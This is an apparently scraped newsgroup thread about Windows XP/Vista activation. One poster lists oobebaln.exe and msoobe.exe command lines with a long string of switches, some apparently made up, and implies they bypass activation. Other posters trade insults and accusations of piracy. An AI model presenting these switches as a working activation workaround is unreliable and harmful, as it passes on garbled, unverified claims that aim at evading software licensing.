Do you know??? Do you believe??????What’s this means of?????? Windows® PID: %S-%03.3LD-%07.7LD-%S **********%systemroot%\system32\oobe\oobebaln.exe /s “mean what”********* %systemroot%\system32\oobe\oobebaln.exe /i /r /u /b /init /c %systemroot%\system32\oobe\msoobe.exe /a /update /shellnext /2nd /xicw /x /3 /2 /1 /loadupdate /update /a /i /r /oobe /setpwd /offline /preconfig /retail /f Do you believe its supports these commands? Yes it is try it in Windows® XP Professional. And tell me about your experience, -------------------------------------------------------------------------------- Looking for last minute shopping deals? Find them fast with Yahoo! Search. Signaturei wanna give you best possible solution of your Windows troubleshootings / operating system problems, Dear, my E-Mail address is johncityny@hotmail.com, you can feel free to e-mail me any time, > I am contemplating getting a new Hard Drive (bigger, of course by a large > margin !) and with the problems I have had with activation in the past, [quoted text clipped - 5 lines] > > So....is there a way to avoid chatting with Sanjay in Bangalore ? > i am computer expert > i think you have not read this???? [quoted text clipped - 265 lines] > > read more » Please contact Alias and he will set you up with Ubuntu. You are too stupid for Vista. I'd call him arrogant, and egotistical. He certainly thinks a lot of himself Signature-- John Barnett MVP Associate Expert Windows Desktop Experience Web: http://xphelpandsupport.mvps.org Web: http://vistasupport.mvps.org The information in this mail/post is supplied "as is". No warranty of any kind, either expressed or implied, is made in relation to the accuracy, reliability or content of this mail/post. The Author shall not be liable for any direct, indirect, incidental or consequential damages arising out of the use of, or inability to use, information or opinions expressed in this mail/post.. Please contact Alias and he will set you up with Ubuntu. You are too stupid for Vista. > Please contact Alias and he will set you up with Ubuntu. You are too > stupid for Vista. And you are a boring pea-brained fart. But it doesn't stop you lecturing others does it Bill ? (Yet another "Doesn't happen to me, therefore it doesn't happen" pillocks) Only terrorists make 'demands,' and they don't get very far. Microsoft owe you nothing other than, perhaps, legal action for pirating their software. You are so arrogant it is beyond belief. Signature-- John Barnett MVP Associate Expert Windows Desktop Experience Web: http://xphelpandsupport.mvps.org Web: http://vistasupport.mvps.org The information in this mail/post is supplied "as is". No warranty of any kind, either expressed or implied, is made in relation to the accuracy, reliability or content of this mail/post. The Author shall not be liable for any direct, indirect, incidental or consequential damages arising out of the use of, or inability to use, information or opinions expressed in this mail/post.. |
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